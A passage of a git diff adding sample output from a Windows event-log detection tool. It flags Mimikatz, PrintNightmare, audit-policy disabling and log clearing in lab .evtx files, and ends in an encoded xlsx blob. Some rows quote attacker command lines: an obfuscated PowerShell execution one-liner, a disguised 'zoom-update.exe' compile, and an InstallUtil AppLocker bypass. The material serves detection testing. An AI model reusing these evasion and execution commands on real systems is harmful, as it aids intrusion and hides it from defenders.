Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-26 03:30:36.515 +09:00,FS03.offsec.lan,4719,high,Disabling Windows Event Auditing,,rules/sigma/builtin/security/win_disable_event_logging.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1070.xxx-Audit policy disabled/ID4719-Audit policy deactivation.evtx +2021-10-27 19:09:16.280 +09:00,fs03vuln.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:12:47.151 +09:00,fs03vuln.offsec.lan,4674,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,5142-Mimikatz print spool privileges requested.evtx" +2021-10-27 19:12:47.229 +09:00,fs03vuln.offsec.lan,5142,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,5142-Mimikatz print spool privileges requested.evtx" +2021-10-27 19:12:47.323 +09:00,fs03vuln.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:21.369 +09:00,fs03vuln.offsec.lan,302,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:21.369 +09:00,fs03vuln.offsec.lan,849,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:21.369 +09:00,fs03vuln.offsec.lan,301,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:27.403 +09:00,fs03vuln.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:27.403 +09:00,fs03vuln.offsec.lan,4674,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,5142-Mimikatz print spool privileges requested.evtx" +2021-10-27 19:14:27.466 +09:00,fs03vuln.offsec.lan,848,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:27.466 +09:00,fs03vuln.offsec.lan,5142,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,5142-Mimikatz print spool privileges requested.evtx" +2021-10-27 19:14:27.559 +09:00,fs03vuln.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:14:27.559 +09:00,fs03vuln.offsec.lan,300,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID316,300,301,316,823,848-Mimispool printer server installation (PrintNightmare).evtx" +2021-10-27 19:28:26.260 +09:00,FS03.offsec.lan,354,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID354-808-Mimispool printer installation (PrintNightmare).evtx +2021-10-27 19:28:26.260 +09:00,FS03.offsec.lan,354,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID354-808-Mimispool printer installation (PrintNightmare).evtx +2021-10-27 19:28:26.307 +09:00,FS03.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID354-808-Mimispool printer installation (PrintNightmare).evtx +2021-10-27 19:34:49.837 +09:00,FS03.offsec.lan,6416,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,6416 New external device connected (PrintNightmare).evtx" +2021-10-27 19:34:50.024 +09:00,FS03.offsec.lan,4674,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,6416 New external device connected (PrintNightmare).evtx" +2021-10-28 22:41:21.325 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: ""cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\System32\spoolsv.exe",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/1-Print spool spawned a CMD shell (PrintNightMare).evtx +2021-10-28 22:41:21.325 +09:00,FS03.offsec.lan,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/1-Print spool spawned a CMD shell (PrintNightMare).evtx +2021-11-02 23:15:23.676 +09:00,fs03vuln.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1140-Deobfuscate-Decode Files or Information/ID4688-Certutil download.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1086,technique_name=PowerShell : Command: powershell $env:I4Pzl|.(Get-C`ommand ('{1}e{0}'-f'x','i')) : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: OFFSEC\admmig : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,high,WMI Spawning Windows PowerShell,,rules/sigma/process_creation/win_wmi_spwns_powershell.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-18 16:40:29.566 +09:00,PC-01.cybercat.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /nologo /target:exe /out:zoom-update.exe C:\Users\pc1-user\Desktop\zoom-update.cs : Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe : User: CYBERCAT\pc1-user : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/YamatoSecurity/T1027.004_Obfuscated Files or Information Compile After Delivery/sysmon.evtx +2021-11-18 16:42:54.822 +09:00,PC-01.cybercat.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1218.004,technique_name=InstallUtil : Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\pc1-user\Desktop\zoom-update.exe : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe : User: CYBERCAT\pc1-user : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/YamatoSecurity/T1218.004_Signed Binary Proxy Execution InstallUtil/sysmon.evtx +2021-11-18 16:42:54.822 +09:00,PC-01.cybercat.local,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/YamatoSecurity/T1218.004_Signed Binary Proxy Execution InstallUtil/sysmon.evtx \ No newline at end of file diff --git a/sample-results/hayabusa-sample-evtx-ResultsDeprecatedAndNoisyRulesEnabled.xlsx b/sample-results/hayabusa-sample-evtx-ResultsDeprecatedAndNoisyRulesEnabled.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..96bbd972840907d397dfac880573fc8375556723 GIT binary patch literal 711827 zcmeFYbyQqUx-SgDoj`y%tCv&JSn zS0RSVv+v)9$E+gS@+-Qt;Jr?Yx%op%&<*bEbOI<}Io{Bm2iKngvkGggYX88_235=u zzwQ=@{tG^ij;=krW+LJ!du^@5v}Z5GUJ@G^gndYai?^$3R|QEdi^~>~m=O?)`mQF= zbZI<1fw7i*!tni*1zomkHAKnFhiB(cx9d+@UgP$(P|Mc20%*#dlO3s4tCh} z|IzXPVh;Yx)UzUo06JoRIRyWFvv#v%4Mt7RZlKJX$7RMb#JdQe=~Rglzc@EWMU*r{ z;qO!w^|?1`NX%7fv<+=+E(*DGAkZ!(zo4Gv1mRw1?ExBsZ;Xk8lYVPe<52B>9N$DzS4dyaY7G{Mp^3VX zq=&y}FTbMtlZ#}xA`y$19@)a;Gq~xvnlyafoX<*gBWq0l2hw)L%H=uO)uE|r14Q8O zbfJQ-p4#T)BqGfkMChX zW59@)-DucLsbu}mv?+EExK+kiDnG&~KLQj+|s z`^3|@)h|jQNBWHmB7RGGdc|x4>YUW=B|jUd$%l916KZ!wLL}^p(n3aF$@S#4i#te> z>lJ{WA(N>+*WUgiutT^`KSW^?&z+{r+0mqddwwPo2tDn&Z9mU7&_F&*6#LW{=KXJ6;2Izw(a zI_wK{$(D@HN`%PDyhEsxhdkF$P7jgSR{VQ8fRz6oI|c=sT+#?|a4%5c;BbH%0CxTr zHCYfHn;Fh$-lKBvO4CP zh+jD_lTN%gg%~n%oFY9gbYG+!`-2(8$m8U*UoX&aT|<{~B1~Chm$7wC=|S2lzGagfv#B2#FLxf!(UUzoEKr{!ZO+XGk4OW z^-{OIU}^N-fCH3DK00W$iV)qI)97s{22`+M4R5X_hCS~S-7ghoFU=THHAysj4Qe9i zkOpyFs#3#0SHgUhjlr``bn&%(bi2+B0JM3lv(ii6XbJT_yZpuhtQXFFLvkl7r0$ z#v3CQx34j}oWK4|BJqet?;ArrGs@?^o&H?XYffj+PnRW!+O`^S8apGGzh1doM34F! ze3hV4*Z4%FN^#l!8CHXc3x%p^58G5l9V=U)g;Lu?L4LVN-?Q$?hNV}`=>p%7^H84q zMpnd^^heF~2XM*YHt~v~l^Fgi?#H@U6tCHds+1M_{=rdBGba7_a7KR}4n2HgtMp7( zX~+`CxXgDNBm|a*ZkLldOn5l58gyOl{nlI0d$bA{nM10$ujgLbDQ_x}`EUZv?0Dk` zpZIVw$L~?A|8sxFpkgXdm~g%db@>7FHW*(Yfg7;Ugtog)2w~q%&PaJPM^HBPH4BG{y}{E z9{1yy#&F%a54bP4zm#p~2_FwTiX4p#i%fSn4dgWsF*euy@F|zuO^O?~)hl#l#ar8c z+ai&g8+K}EfkVqqtE5Nfca}M^(4~;vm*G%}tGML=-3}%>=nWaUt>D4I<%-OibMgjx zKP1*JGz)!Cinv@`MMG;4_xTw9^U2ocQ@WyIWGD$_~F&UTN`@ohvfrA}~C?2==2Vz1Imq|Lj`3+ggI&UhCz=_Ct

eqAk_RbE_gj^PJN)UC|S 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 